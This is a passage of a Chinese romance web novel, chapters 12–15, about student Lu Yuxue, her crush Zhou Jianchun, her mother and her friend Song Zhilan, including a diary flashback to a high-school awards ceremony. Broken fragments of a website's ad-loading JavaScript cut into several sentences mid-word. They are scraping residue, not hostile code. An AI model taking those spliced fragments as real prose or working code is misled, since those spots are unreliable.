人一慌张,脑子也不清醒,卢郁雪的脑海里转了一圈,才把熟悉的脸和人名对上。 周见春没有言语,嗯了一声也不知道是什么态度。 不说就是默认,卢郁雪昂头看了一会儿周见春的脸色,放下不知道指向哪里的食指,又恢复平时笑嘻嘻的模样。 “我真的没有讨厌你,我还担心高中时候你因为被迫送我回家讨厌我,所以才一次都没有在嘉合花苑遇见。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “那是陪读时租的房子,我家在德水,高考完就搬回去了。没遇见,应该是因为我多上一节自习。” 德水这地卢郁雪知道,江林市下属一个县城。德水一中也是很好的高中,常有上不了重点高中的人把孩子送去德水一中。 走读生的晚自习上到十点钟,多上一节就是十点半,卢郁雪每每上到九点多就困得摇头晃脑,根本撑不到再下一节课。 这样看,他们遇不上太正常不过了。 “那你明天是回德水吗?” 高铁二十分钟小时就能到的地方,和卢郁雪平时回家也没什么区别。 “明天上午的车。” 她煞有介事地点点头,从地铁口出来这一路灯光明亮人群熙攘,已经是九月底还能听见草丛里虫子咕咕在叫。 栾树的果实早已成熟,缀满枝头,像是给石青色的天幕装点一些色彩。 江林市地处南方,即便冬天落雪,香樟树也还保有绿意,现在更是郁郁葱葱。 虽有泛黄的叶子飘飘然落下,但离深秋那种满眼金黄的景色还差一个多月。 卢郁雪走在周见春的右手边,觉得自己好像回到十六岁的时候。 那时她每天背着沉重的书包却有热烈的心事和梦想,但现在两手空空只如打着旋落下的树叶一般孤零零地等着被碾碎。 长大真的是个讨厌的事。 延伸出去的路障断开留出很大的空隙,卢郁雪看清石碑上的字转头对周见春说:“我到了,东西给我吧。” 三脚架和书包都在周见春身上,卢郁雪还挺不好意思的。她的书包看起来鼓鼓囊囊,但塞的全是娃娃,要说重量,可能只有相机和手机充电器占了点。 当时周见春以为她假客气硬生生夺了过去,背上肩才发现真的很轻。 现在,也该还回来了。 周见春的手往后一缩,指了指保安亭的方向说:“我送你进去吧,都走到这了。” “也行。”卢郁雪好像很勉强地点点头。 天悦府并不是高档小区,也不临近CBD大楼,但处于大学城范围内,又靠近森林公园,环境清幽很适合养老。 幸好卢远峰评上副高,夜班也排得少,从医院到家里通勤时间长一点也不是什么大事。 卢郁雪在岔路口停下,“我快到了,就送到这吧。” 夜色浓重,岔路口的另一边传来脚步声,混在驱车而过的空气中实在不明显。 卢郁雪背上自己的书包,周见春帮她把拧过去的书包肩带翻正。 修长的手指搭在卢郁雪的肩上,离她的眼睛只有一寸的距离。她的心口涌上些许悸动,只能匆忙移开视线。 周见春认真地理了一遍确认平整后笑着说:“好了。” “嗯。”卢郁雪点点头挥手说了声再见,周见春也笑着回她只是刚出口的一个字就被人呵住。 “卢郁雪!” 垂到小腿的长裙随着她的走动而规律地前后摆动,郁青背着小包,在明暗的路灯下看见一男一女两个人在路口磨磨蹭蹭地不走。 她本不确定,但背对着她的女生突然转过身来。 摇头晃脑的,除了她卢郁雪还能有谁。 “妈!” 12. 我没谈 四目相对的瞬间,卢郁雪自觉跑到郁青身边,缠上她的胳膊讨好地笑笑。 “妈,你不是开选题会,这么快下班啦,我帮你拎着。” 卢郁雪往下探的手被郁青的包撞了回去,她悻悻地收回手想着怎么把郁青哄走。 周见春就站在不远处,这个距离足够他们看清彼此。虽说这没什么,但在此之前,卢郁雪从没和家里讲过任何异性同学。 “你爸给你打电话怎么不接,那边那个谁啊?” 她慌忙掏出手机才看见未接来电的消息,心虚地笑笑:“我静音了。” 郁青没理会她,拎着包就要往周见春那个方向走,卢郁雪急忙把手机捏在掌心扯着她的胳膊把往郁青往后拉。 “妈,妈,我同学,大学同学,人家好心送我回家的。” 向前的步子被卢郁雪绊住,郁青打量了一番周见春回头问她:“你不是说你们专业没有帅哥?” “社团认识的,不是我们专业。” 郁青的脸色缓和了一点,视线在卢郁雪和周见春身上来回移动,最终正了正神色对卢郁雪说:“那你谢谢人家没?” “当然当然。”卢郁雪用力点点头,仰起脸对郁青傻笑。 “回家吧。”她踌躇了两步,视线收回到卢郁雪身上。 “等一下,等一下,我三脚架还在他那。” 全黑的三脚架折叠起来在周见春手中格外小巧,夜色如墨,手里的东西几乎隐于黑暗中。 卢郁雪小跑着到了周见春身前,抿着嘴小心地把三脚架从周见春手中抽出,架子被风吹得阴冷,卢郁雪觉得掌心都是冷冷的。 “拜拜。” 她背对着郁青,树影随风晃动,在周见春脸上打下明暗分明的阴影。她看见对方的嘴角轻轻勾起一个笑,眉眼弯弯盛满月色。 “拜拜。” 卢郁雪不敢说得太多,举起手机晃了两下意思手机联系,看到周见春点点头,她才放心。 她跑向郁青的步伐和以往周见春所见的不同,轻盈的欢快的带着小跳,被风鼓起的外套像是起飞的翅膀,盈满自由与远方。 “走吧走吧,我饿了,晚上吃什么呀?” 两旁的绿化带青葱翠绿,卢郁雪挽着郁青的手臂往岔路口的另一边走,一个两个三个路灯之后,周见春的眼前只有无边孤寂的夜色。 “卢郁雪,你谈恋爱我不管,但你不能被骗财骗色,你听到没有。” 郁青像是深思熟虑之后才开口,但卢郁雪完全没有往这方面想。 “妈,我不是,我没有,我没谈,就同学,同学。” 胳膊上的小包被晃得左右摇摆,胳膊上的重量也凸显出来。 郁青伸出手掌止住卢郁雪的行为,“打住打住,我只是提醒,提醒。” 她还想再解释,但郁青已经不在意事情到底怎么样,从包里掏出钥匙准备开门。 饭菜早已经做好,卢远峰听到动静从书房出来又给她们端到微波炉打了几分钟。 “你这包里塞的什么鼓鼓囊囊的?” 郁青晚上吃得不多,看到卢郁雪的书包扔在沙发上不由得嫌弃地拎起来放到地板上。 “妈,你别乱动我东西。”她嘴里塞着饭,说得含糊不清。 郁青把书包放在地毯上,伸长胳膊够到另一端的充电器给自己手机插上才慢悠悠回着卢郁雪的话:“我才懒得动,背个书包也不知道洗洗,脏得跟流浪汉一样。” 卢郁雪不满地叫起来:“我哪里脏兮兮了,我暑假刚洗过好不好,就你干净。” 沙发那边没有声响传来,卢郁雪吃好饭起身看见郁青已经靠着枕头舒舒服服躺着了。 “把碗刷了。” 她头也不抬地使唤着卢郁雪,卢郁雪无奈但还是应了:“哦。” 格子分割的窗口大多熄了灯,这才九点钟,怎么都睡这么早。 收拾好碗筷,卢郁雪从沙发上拿走自己的书包到卧室给相机充电,部长催着她这两天导出素材好做推文。 她没带读卡器,只能用wifi传,两个小时的素材,没有一两个小时传不出来。还是先充电吧,至少得先开机不是。 书房的门虚掩,卢郁雪开了一道门缝的时候卢远峰还在认真地看着书,她抿着嘴晃到书桌前。 “爸,你夜班时候都住医院吗?嘉合花苑是不是又租出去了?” 沙沙的笔尖在纸上划过,卢远峰搁下笔看了一眼门外说道:“应该租出去了吧,一直都是你妈决定的。” 他这个年纪很难维持年轻人的精神气,不知是因为医生这份职业还是读书时间长,卢郁雪觉得有时候他比自己还要有朝气。 热爱学习,热爱生活,而自己一般是厌恶学习,抱怨生活,求神拜佛。 嘉合花苑租不租,卢郁雪并不关心,反正都是自家房子,周见春也不住在那。 只是以她的认知,在嘉合花苑陪读也不便宜,特别是如果像郁青一样在别的工作,通勤时间就要半个小时打底。 “我们家房子现在租出去多少钱啊?” 她佯装无事地翻着卢远峰桌面的书籍,看不懂还很厚,拿起来砸人都嫌不趁手的家伙。 “三四千吧,怎么,年纪轻轻就想靠收租混日子了。” 被人审视的时候很难控制不心虚,更何况卢郁雪真的有这个想法,粉领毕业也是月薪三千,还不如收租来得稳定。 “哪有,我问问吗?就是,我们那个社团有学长快要毕业找工作听他们聊了一点,有点好奇。” 手边的书迅速合上摆放回原来的位置,卢郁雪傻笑着从书房溜了出去。 现在物价上涨要三四千,那高中时候怎么也得两千吧,怪不得周见春学习这么努力,两千块钱,她大半个月的生活费了。 卢郁雪回到自己卧室正准备切换相机wifi传输录制的素材,桌边的手机突然唱起了歌。 “我唤醒大海,唤醒山脉,我唤醒沙漠处处充满色彩……” 这个铃声还是卢郁雪刚摸索到这个功能时候用的,因为常年静音,又加上周围没人爱打视频电话,卢郁雪一时没反应过来是哪个软件的铃声。 按下跳动的接听键,就听到对面宋芷兰震耳欲聋的哭嚎。 “我要杀了学校,我要杀了它,都怪他,我没赶上飞机,我的旅游全都报废了。” 不用细问,卢郁雪都能想象到宋芷兰现在的心情,只是电话的那端还有此起彼伏的鸣笛声。 “怎么了,你翘课失败啦,你现在在学校吗?怎么听着像大马路。” 宋芷兰吸吸鼻子看了眼四周带着小情绪说道:“去不了西藏我就回来了,刚出高铁站,你明天有事没,带我去你学校看看呗。” 劝慰的话还未出口,卢郁雪就被宋芷兰的话堵了回去,她坐在床沿控诉道:“不是,谁放假回学校啊,你能换个地方玩吗?” “那你家吧,备点好吃好喝的迎接我。” 电话那头的风将宋芷兰的话扯得七零八落,卢郁雪又和宋芷兰聊了几句便匆匆挂断。 屋内不通风,卢郁雪原本觉得闷热想开空调洗个澡出来反而冷得一哆嗦,放好靠枕坐在书桌前的她看见视频已经传了大半。 大大小小的雨滴砸在玻璃窗上,汇成一道道水痕,又因雨来得急,一时连成一片,薄厚不匀地折射着室内的光线。 郁青在客厅里猛然坐起将阳台的窗户关上又敲了敲卢郁雪的房门让她关窗。 “知道啦。” 她大声应着,等郁青的脚步走远才拿出手机看周 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见春发来的消息。 【外面下雨了,你记得关窗】 这条消息弹出来的时候,她还很诧异周见春会特别关心自己这的天气,猛然地又想起了周见春明天才回家,现在还在学校呢。 该回什么呢,卢郁雪从郁青来的时候就在纠结。 算来这是他们除公事之外的第一条闲聊,自己口口声声说着保持距离,现在看到这行简短的字还是忍不住心生雀跃。 外面雨声潇潇,她捧着手机仿佛处在这潇潇之外的世界。 铃声再次不合时宜地响了起来,卢郁雪收了笑迎接宋芷兰的吐槽。 “死天气,我服了,我还没到家呢,就给我下雨,我伞还在行李箱里,我一路淋着雨走回家。” 从窗外看去,这雨确实没有停下的意思,淅淅沥沥不见尽头。 “叔叔阿姨没接你啊,你怎么自己回家,还不如住我家呢,我家都比回你自己家近。” 高铁站离市中心有十几公里,宋芷兰打车回去的话正好挨上这场雨,够惨的。 “一个下基层,一个在外地。算了算了,不提了,我先去洗澡,明天我去你家找你。” “行啊,但你最好下午来,上午我怕没醒。” 卢郁雪乐呵呵笑着,宋芷兰信誓旦旦地承诺一定会在早上六点掀开她的被窝。 电话的页面退去,卢郁雪再次回到和周见春的聊天框,刚刚发出去的消息早已有了回复。 【卢郁雪:放心吧,那祝你假期愉快】 【周见春:你也是】 粉红的指尖时而点着屏幕时而捏着自己的嘴唇,卢郁雪看着这条十几分钟之前的回复不知道该不该接上话茬。 眼前的视线突然黯淡下去,聊天页面的亮度也随着环境变化调到适宜,卢郁雪怔怔地看向门外。 “睡觉。”郁青啪嗒一声按下墙边的开门,指了指她的手机带上了门,但没有关紧,留了一条缝。 “妈,你又不关门!”卢郁雪大叫着,但郁青不理她只能气急败坏地下床用力关上门撒气。 宋芷兰嘴上说着一定会早上来,但人还是老老实实地下午一点到了天悦府。 早起只是唬人的,毕竟她也起不来。 如她所言,卢郁雪摆好了好吃好喝的招待她,奶茶点的都是她高中时候爱喝的那款。 宋芷兰也没有让她失望,一路护着六寸小蛋糕进门。 卧室和宋芷兰印象中没有什么区别,只是高中毕业之后书本少了,略显空荡,毕竟以前两个人一起在这个桌子上补课,乱得那叫一个不堪入目。 “哎,你这房间怎么还是这么乱?” 卢郁雪倚着靠枕,漫不经心地扫了一眼说道:“比高中时候干净多了好嘛,那时候桌子全是你东西。” “你还好意思说,是谁一个人补课不好意思非要我也来听。” “嘿,你就说有没有用,期中考试咱俩物化是不是及格了,是不是是不是。” 她和宋芷兰太熟,真翻旧账,三天三夜也说不完。 “行行行,有用有用。” 宋芷兰双手放在胸前附和着卢郁雪的话,桌面上花里胡哨的本子很多,多是卢郁雪买的笔记本,但没写几页就换了一个。 她随手拿了一个问道:“你这里面又写的什么啊?” 卢郁雪的注意力全在手机上,胡乱看了一眼就答:“日记吧,小时候不是都要写日记。” 泛旧的纸张在空中划过一道弧线,也拨动卢郁雪的某个神经,刚刚刹那而过的片段再次重映,她心中警铃大作,想夺下那本日记。 娟秀工整的字迹孤零零地挂在第一行,像是跨越时空而来的少女心事,还能听见那时的叹息。 如果站在周见春身边的是我就好了。 13. 颁奖典礼 家长会在上午十一点准时召开,卢郁雪奉命站在大厅帮助来的每一位家长找到自己所在孩子班级。 十一月的江林市最低气温已经降到个位数,卢郁雪为了好形象硬是不带上自己的卫衣帽子,站在风口颤着音指路。 郁青踩着低跟鞋来的时候,卢郁雪的鼻头已经被风吹得泛红,脸色白得发青,又背着光,远远看去,像是马上要晕了一样。 她走上前揪起卢郁雪后脖颈的帽子像是给假人穿衣服一样硬生生套了上去,卢郁雪理好自己的碎头发才不满地开口:“我发型都乱了。” “别冻死了还得去医院看病耽误学习。” “妈,你能不能盼我点好,而且我这次进步了,我都考进前五百了。” 后面的话越说声音越小,她不服气地指着刚刚张贴的年级大榜佐证自己的言论。 郁青一个眼神都没有抛向那个年级大榜,从包里掏出手帕纸递给卢郁雪很不耐心地问:“你还得站多久,赶紧进来。” 今天家长会,允许带手机,卢郁雪看看时间估摸着回答:“还有十五分钟吧,现在已经十点四十了。” 大厅背光但迎风,远远低于体温的风出来只会带走身上的暖意,郁青扯了扯身上的大衣,转头看向欲言又止的卢郁雪问道:“你坐哪来着?” “第一排靠窗,宋芷兰旁边,她妈妈你认识的。” 说完卢郁雪就低头看着自己脚下发呆,她这次考试进步了,但郁青应该还不满意。 可老张在班里对她已经很特殊了,郁青要是再说些什么,估计她要成万人嫌。本来应该是卢远峰来的,但又临时被叫去医院。 被迫请假来的郁青心里不舒服也是很正常的,卢郁雪吸了吸鼻子,又想起郁青刚刚给了自己一包纸。 封口贴揭开一个缝隙,香气便如游丝一般在空气中随意攀附,卢郁雪被这样的香气侵袭,差点忘了自己还在站岗。 “早点上来。”郁青只撂下这一句,就噔噔地踩着低跟鞋上楼了。 迎面吹来一阵冷风斩断所有游丝,她的鼻前依然是阴郁的寒风。 一个学期一次的家长会,又是十九中这样的省重点,请假不来的家长少之又少,卢郁雪站到十点五十,已经没有多少人还在广场走动。 深秋的天很高,高到卢郁雪觉得云朵像是不在这个星球。光与暗的交界处是落了大半的梧桐树,积在台阶处,甘脆轻薄,一阵强风吹来就能折碎。 身着灰色外套的女子进来时,卢郁雪正数着这是第几片落下,数到第八片的时候,那片叶子吹到了大厅里。 女子的身材中等,化了淡妆,但卢郁雪又能一眼看出来化了妆。头发浓密遮住其中的白发,只显露少许,看着很有精神气。 她笑着上前问道:“这位同学,高二二班怎么走啊。” 二班?周见春也在二班。卢郁雪打量着眼前的人妄图讲她和周见春挂上钩,察觉对方还在等着自己的回答,卢郁雪晃过神来接上话:“在四楼,阿姨,您走这个楼梯,上四楼右拐第二个教室就是。” 她跟着中年女子的步伐到了楼梯口,听到对方的道谢又甜甜地笑着鞠躬:“不客气阿姨,您快去吧,还有几分钟就开始了。” 目送着女子上了楼,离开会也只剩几分钟,卢郁雪又在楼下强撑了一会儿才上楼。 家长会定于上午十一点,是把下午的自习课挪上来,该上的课一节不少,认谁都要夸一句超神安排。 爬回二楼的时候,走廊还有学生逗留,卢郁雪从后门进去随便站在一个空位等着会议开始。 老生常谈的话,老生常谈的事,就连上去发言的家长学生顺序都和以前一模一样。 接下来就是科任老师发言,然后对症下药,哪门差就围着老师问自己孩子情况。 卢郁雪见怪不怪,但她没想到郁青居然这么堂而皇之地找了自己班主任。 真是生怕别人不知道自己因她们同窗受了照顾,生怕她在这个班里好过。 站在里面的宋芷兰没能拦住卢郁雪,她从教室里追到了走廊,拦在郁青和老张面前,蹙着眉叫郁青:“妈。” 还洋溢在两个人脸上的笑因为她的话僵在脸上,“你先回去,我和你班主任有话说。” 不用想卢郁雪也知道郁青要和自己班主任说什么,她的声音拔高几度,“妈,你能不能不要总是插手我的学习,我能学好,不需要你给我调这调那。” 郁青生气的模样,卢郁雪很清楚,她脸上的温和耐心都消失殆尽只客气地和自己班主任说:“不好意思,等你闲着再说吧。” 转头冷冰冰地瞪着自己:“卢郁雪,你给我过来!” 她乖乖地跟在郁青身后走到人少的楼梯口,她有点害怕,害怕郁青真的扇自己,虽然那已经是小时候的事,但想起来还是心有余悸。 卢郁雪咽着口水等着郁青开口,她知道郁青有分寸,这里是学校,会给她留面子,最差的结果就是回家挨骂。 “卢郁雪,你刚刚怎么跟我说话呢,我关心你学习还有错了,给你调座位不是为你好吗?你要是自己能学好我还费什么心?” 她的嘴角下拉,双手环胸,楼梯口的风吹开她的大衣,露出黑色的高领毛衣,空气中有一种若隐若无时浅时浓的香气。 卢郁雪高昂着头哼了一声说道:“反正就是不要你管,我自己能学好。你一个星期都不一定见我一次,凭什么说我。” “嘿,你反了你是不是,我平时见不着你就不能管你啦,你跟你爸常见,他难道没让你好好学习,鼓励你考个不及格回家吗?” 郁青想上手把卢郁雪的头掰正看着自己,但她那快要昂上天的下巴明晃晃地告诉郁青,她听不进去。 “我这次及格了,我以后都会及格的,你老是这样给我走后门,别的同学怎么看我?” 她长得乖巧,垂眸的时候睫毛遮住亮亮的瞳仁,脸上闪现一抹酸楚,但很快又收了回去。 郁青的眉心微动,她敏锐地察觉到了卢郁雪口中的同学的不友好,但卢郁雪也意识到自己失言,沉默地低头盯着脚下的地板缝发呆。 “行,你就这样吧,我看你自己能学个什么样。”她的眉眼又冷了下去,仿佛真的对卢郁雪失望至极。 郁青走了,连带着那点香气也没了。卢郁雪站在风口处,感觉脸都僵了,赶紧拍两下脸颊溜回教室。 插着U盘的一体上还是谢谢观看的ppt,人走得差不多,宋芷兰还在等着卢郁雪一起去食堂吃饭。 “哎,阿姨又骂你了?你不是进步了吗,为什么又骂你啊?” “不知道,可能,我太蠢了。” 宋芷兰急得拍了一下她的手,啪嗒一声特别清脆比夏天打人还要疼。 “你哪里蠢了,我跟你说,我们俩,一定会是黑马,到时候口口相传,每一届都知道老张班里有两个学姐高考超常发挥。” 她扑哧一声笑出来,被宋芷兰瞪一眼又憋了回去,“好好好,我们一定是黑马,不就是区区考试,我们俩慢慢学肯定能学好。” 卢郁雪对高考的印象还停留在对面教学楼走廊常年堆着书的大大小小考试,什么985211,什么状元省排名都太遥远,她只知道,自己这次考试会的题目有没有变多。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 学校时间选得很好,在家长会结束的下午召开表彰大会,本就从上午挪到下午的课再次挪到晚自习,只为这场表彰大会。 时间不长,没有叫他们搬椅子。 卢郁雪和宋芷兰站在叽叽喳喳的队伍中间贴着身子窃窃私语,“不是,就开个表彰大会还背单词,太假了吧。” 她朝宋芷兰使眼色的地方看去,几个女生单手插兜另一只手捧着小小的便签咕咕唧唧背着单词,还有更卷的人把数学晚练都带出来写。 又是站着,又没有桌子,写数学晚练,靠心算吗? 卢郁雪不解,但卢郁雪没有质疑只压低声音说:“可能这就是为什么人家比我们成绩好吧,我们下次也带。” 本是寻求认同的宋芷兰听到这话以为卢郁雪脑子坏掉了,前面班级的方阵开始移动,她不好再说话,只能安分站好等着班主任指挥。 十一月的白昼太过短暂,站到操场的时候不过五点钟,天色已经暗了下去,连霞光都吝啬地收回地平线下,只留几抹殷红在遥远的天边。 刚开始表彰的是年级前一百,根据名次不同受的表彰和奖学金也不同,校长倒是很耐心地挨个念了出来。 卢郁雪的手缩回袖口,半张脸埋在衣领下听着冗长的人名清点,没有周见春的名字。 这也在情理之中,除了实验班上面还有一个政史地特优班一个物化生特优班,在一本率达到百分之九十以上的附中,考入前一百,和预订C9没什么区别。 她听着周围人的动静也奋力鼓着掌,多好啊,学校里人才辈出欣欣向荣,只有她还在努力从班级倒数脱离。 “下面请单科状元上台领奖。” 主持人的话筒灌了不少风,从音响里传出来的声音磅礴得像是台风前的预警,卢郁雪歪着头活动自己的脖颈。 念出来的名字几乎都在年级大榜上见过,卢郁雪对这些学霸的印象不是长什么模样人什么性格,而是每次考试他的名字在第几列。 最后一抹殷红终于也被石青色的天空覆盖,主席台上的顶灯直直照下,从后台上来的学生一个个按顺序从只能看出身形的朱墨色走到通亮处。 “物理单科状元周见春,化学单科状元……” 主持人的名字还没有念完,卢郁雪的视线自然地看向整个操场唯一明亮的地方。 周见春出来的时候被台阶绊了一下,主持人正好念到他的名字,虽然不知道有没有在认真听,但他还是礼貌地笑笑。 卢郁雪离主席台有几十米的距离,她看不清周见春的表情,只能根据大致轮廓推断他有没有在笑。 不知从什么时候开始,她已经习惯这样远远地看着周见春,而现在站在主席台上的他全无遮挡,比平时从各种缝隙所见更为具体。 别上那朵小红书时,他还是很拘谨地站着,两边都是女生,他的个子很突出,摄影师让他们换个位置,周见春站到了后排。 卢郁雪看见,他们几个人突然挨在一起又突然变成前后两排,排好的队形只维持三秒又哄然散开。 毛茸茸的小红花在胸前被风吹得皱在一起,卢郁雪站在台下呆呆地看着他们一行人下台隐没于夜色中。 只是短短几分钟,但足以成为以后卢郁雪回忆高中的区分点,似乎关于周见春的一切都成了她记忆里的书签。 她不是没有上过领奖台,只是那时特别渴望,渴望站在上面的是自己,渴望自己和周见春一样优秀,渴望自己有和别人肩并肩的实力。 宋芷兰还想往后翻,却被卢郁雪一双手死死按住。 “别看了,没什么好看的。” 14. 骗人的小号 日记本被合上塞到了书架最上方,卢郁雪咳嗽一声撩了撩碎头发俯身假装很忙地收拾桌面。 “你什么时候对人家有意思的,我怎么不知道?”宋芷兰向前一步夸张地踮起脚要去拿书架上的笔记本,卢郁雪拦在她身前盯着宋芷兰的手随时做好防范。 宋芷兰见她很是防备便知有隐情,收了手背在身后,什么话也不说,只是盯着卢郁雪。被盯得久了,卢郁雪自己都有点受不了。 “一定要说吗?”她单手扶着桌面垂下眸子有些不情愿地开口。 “必须说。” 宋芷兰双手环胸一字一顿地说,她拉开椅子顺势坐了下去,连饮料都摆到了卢郁雪的嘴边,做好要听很久的准备。 “行,行吧。” 听卢郁雪磕磕绊绊说完后,宋芷兰发出尖锐的爆鸣声,恨不得让卢叔叔把卢郁雪脑子剖开看看里面长的什么。 “就这?就这?他划破你手指递个创可贴不是应该的吗?这你就心动了,这就喜欢上了?” “我那叫欣赏,欣赏懂不懂,我只是把他当成一种学习,努力,上进的动力。”说到后面卢郁雪自己声音都小了下去,只有信誓旦旦的手还悬在空中。 “我太寒心了,是谁陪你吃饭上厕所,我还帮你带早餐,周测考差了我还安慰你,就连周末,我都没有追番而是陪你补课。你现在说我比不上周见春,我太伤心了。” 宋芷兰越说越气愤,摇摇头颓废着扶着椅背,背过身去不想和卢郁雪讲话。 “哎呀,我当然最喜欢你了,周见春怎么可能和你比,我只是当做榜样,榜样。而且,我高中每天都和你呆在一起,我和他都没说过几句话。” “真的?”她偏过头来不太相信地问卢郁雪。 卢郁雪用力点点头,讨好似的把零食推到宋芷兰眼前说:“当然当然。” 女生不满意地撇嘴切了一声起身说道:“蛋糕在冰箱里有一会儿了,我去吃吃蛋糕,你这个见色忘友的家伙,不许吃。” “别啊别啊。”卢郁雪扒着宋芷兰的肩膀,像只猫一样左右探着脑袋冲宋芷兰笑,架得她都不能好好走路。 雨后的江林市气温骤然下降,热气像是融入地下只待来年上升,卢郁雪裹着外套跟着宋芷兰下楼。 “你一定要我在假期去学校吗?”卢郁雪再次确认自己从宋芷兰口中听到的话。 “不行吗?我们下次再见就是明年元旦了,带好朋友看看学校都不行?” “行行行。”卢郁雪敷衍地应下,靠近下水道的路旁还有些许积水,一片香樟树缓缓落下遮住水洼里倒映的世界,一圈一圈的波纹随着晃动的树叶漾开来。 “不是,咱俩明天不是还见吗?怎么就明年元旦了?”卢郁雪昏沉沉的脑袋忽然清醒,转头问宋芷兰。 宋芷兰抬手不自然地摸摸鼻头,拿着腔调说:“再说吧,看我忙不忙。” 话语一出,宋芷兰扫了一眼卢郁雪的表情就预判了她的下一个动作,往前方一躲,卢郁雪的胳膊落了空。 “宋芷兰,你好好说话会死吗?” “我乐意,略略略,谁让你现在才和我说。” 她追着宋芷兰跑,随处可见的水洼将她们的动作规范在小小的区域,两人在人流汇集的岔路口停下。 “哎,扯平了扯平了,你高中都不是全心全意对我,我小小生气一会儿怎么了。” “行,行,要是让我知道你高中也不是全心全意对我,你就完了。” “不可能,我高中两眼一睁就是学习,跟你在一起的时间比跟我妈还久,只有你对不起我。” 她想都没想脱口而出,卢郁雪自知理亏一路哄着宋芷兰到了学校。 天色已经完全黑了下去,卢郁雪刷脸带宋芷兰进了学校。教室是公用,常有人在里面自习,国庆节当然也不例外。 宋芷兰一路走来,看什么都很新奇,每个店铺都要进去逛逛。卢郁雪陪着她挨个走一遍又买了好些东西。 “我们学校的薯片和其他地方有什么不同吗?” 透明的塑料袋里满是哪里都能买到的零食,卢郁雪不解但卢郁雪听话地提着。 “那当然不一样,我想知道你平时吃的都是什么味。你什么时候去南临,我带你逛逛我们学校。” “嗯,感觉没什么好玩的。”卢郁雪实诚地回答。 “好像也是,你找我不就行了,有我还能不好玩?” 宋芷兰把咬了一口的烤肠递到卢郁雪嘴前,但被卢郁雪避开了。 “你在我家没吃饱吗?怎么还吃?” “我想吃。”她一蹦一跳地到了外面等卢郁雪付完钱出来。 灯光的照射范围有限,只能看清门前的空地,连旁边的绿植是什么宋芷兰都认不出来。 宽大的叶子在风中晃啊晃,看不出颜色,宋芷兰猜应该是铁扇公主用的芭蕉叶。 沾了油的竹签扔在透明的垃圾袋里,亮亮的,反射着世界的光彩渡在自己身上。 宋芷兰愣了神,被卢郁雪轻拍肩膀才收回视线,甜甜地开口问她:“你渴不渴啊,请你喝咖啡,你们学校有没有咖啡店?” “还喝?这都六点多了,你今晚不想睡觉了嘛?”卢郁雪凭着刚刚付款时手机上的时间判断着宋芷兰这话是不是在开玩笑。 “我渴了嘛。” 夜色下人的眼睛会格外明亮,不知是倒映着店里的灯光还是她真的挤出了一点泪水,卢郁雪顿时心软了下去。 “行行行,喝喝喝。” 店铺大多开在一起,地理上好像叫什么集聚效应,合格考完她就已经忘得差不多了。 “要我说,还是你们工业设计的能熬,这个点喝咖啡,只有期末周背书我会这么干。” 宋芷兰的专业每学期都有数量指标,她又不是循规蹈矩的人,常常拖到最后一两个星期,熬夜画图交上去。 卢郁雪早已习惯一觉醒来收到宋芷兰深夜里的吐槽,她们笑着推开了咖啡店的门。 这个时间咖啡店没有打烊,但因为国庆留校的学生少了大半,台面上也只有几杯热饮零落地摆着。 宋芷兰死活要请她喝,卢郁雪担心晚上睡不着,点了杯热可可。 “打包。” 她亮出取餐码等着吧台前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的工作人员给她打包,接过纸袋的时候她说了声谢谢。 宋芷兰闪开一个缝隙的瞬间,卢郁雪刚好提着满是零食的塑料袋子累了换只手。 身后的玻璃门被推开,有门铃声响起,秋风吹得袋子簌簌作响,她抬眼看向吧台前的工作人员。 帽子口罩围裙,包裹着严严实实的面上只留一双眼睛。 那是一双并不温柔的眼睛,黑白分明不含笑意,清冽地像是初春的山间泉水,却也带着一整个冬天的寒意。 他就站在那里,淡漠地看着来来往往的人,无欲无求漫无目的,任凭你靠近还是疏远。 可水向低处流,一旦找到归宿,便会拼命地冲击你直到目的达成。 宋芷兰背后的人很快低下头去,转身走向操作台。喷出的气体如烟一般氤氲开来,卢郁雪看不清他的脸了。 她不会认错,那是周见春。 但明明,他和自己说国庆节回家。 为什么要骗自己,兼职又不是什么丢人的事,有什么不能开口的。 卢郁雪甚至想现在就上去大声叫出周见春的名字,问他为什么不和自己说真话。 可她没有,他们确实没有那么好的交情,人家没有义务事事都和自己说实话。更何况,现在是他兼职时间,下一个人已经站在吧台前等着取餐。 宋芷兰笑着挽着她的胳膊向外走,门只开了半扇,却像是完全暴露在风口,所有头发丝都向身后飘去,露出饱满的额头。 真冷啊,开学得加衣服了。 “你的热可可。” 插好吸管的纸杯递到卢郁雪手中,温热的。 卢郁雪喝了一口猛然抬头问宋芷兰:“热可可是不是也会失眠啊?” “是啊,我以为你要陪我熬夜呢。”她懵懵地点头,刚刚点单还死活要喝热可可,现在想起来晚上睡不着了。 “你怎么都不提醒我,我不想失眠。” 卢郁雪仰天哭丧着脸,头顶的星星少得可怜,风灌进她的鼻腔,卢郁雪收了情绪低头猛吸一大口。 喝都喝了,不能浪费。 “走吧,现在才六点,没事的,你回到家就睡别玩手机,肯定不会失眠。” 卢郁雪死心地点点头,余光瞥着身后的玻璃门。 周见春站在吧台前对照出单号认真摆弄纸杯,灯光下帽檐的阴影遮住上半张脸。越走越远,越走光线越暗,卢郁雪终于看不见周见春了。 和宋芷兰在换乘的站点分离,卢郁雪回到家中已经是七点多。 她躺在床上翻来覆去地睡不着,可可味似乎淹入她的头发丝中,她看着天花板定定神,还是决定打开手机。 江林大学最后一节晚课是九点钟,咖啡店打烊也在九点钟。 她点开了周见春的微信步数,每每刷新,都在增加。 卢郁雪心一横点进他的朋友圈,除了简介一无所有,像是个骗人的小号。 她生气地放在枕头下,想侧过身寻找一个舒服的睡觉姿势。 亮起的屏幕因为手机倒扣只透出一点光,卢郁雪把手机翻过来看到弹出的锁屏消息来自微信周见春。 15. 空欢喜 江林市终于开始降温,周见春从咖啡店出来时又下起了小雨,他拿走店内常备的雨伞撑回梅园。 路上没有什么人,小雨细如丝并不淋人,他打着伞也听不见任何雨落的声响。 不知道卢郁雪有没有回家,她来学校的时候好像没有带伞。 自适应的亮度在雨夜里还是很刺眼,周见春单手撑伞抵着侧面吹来的风给卢郁雪发消息。 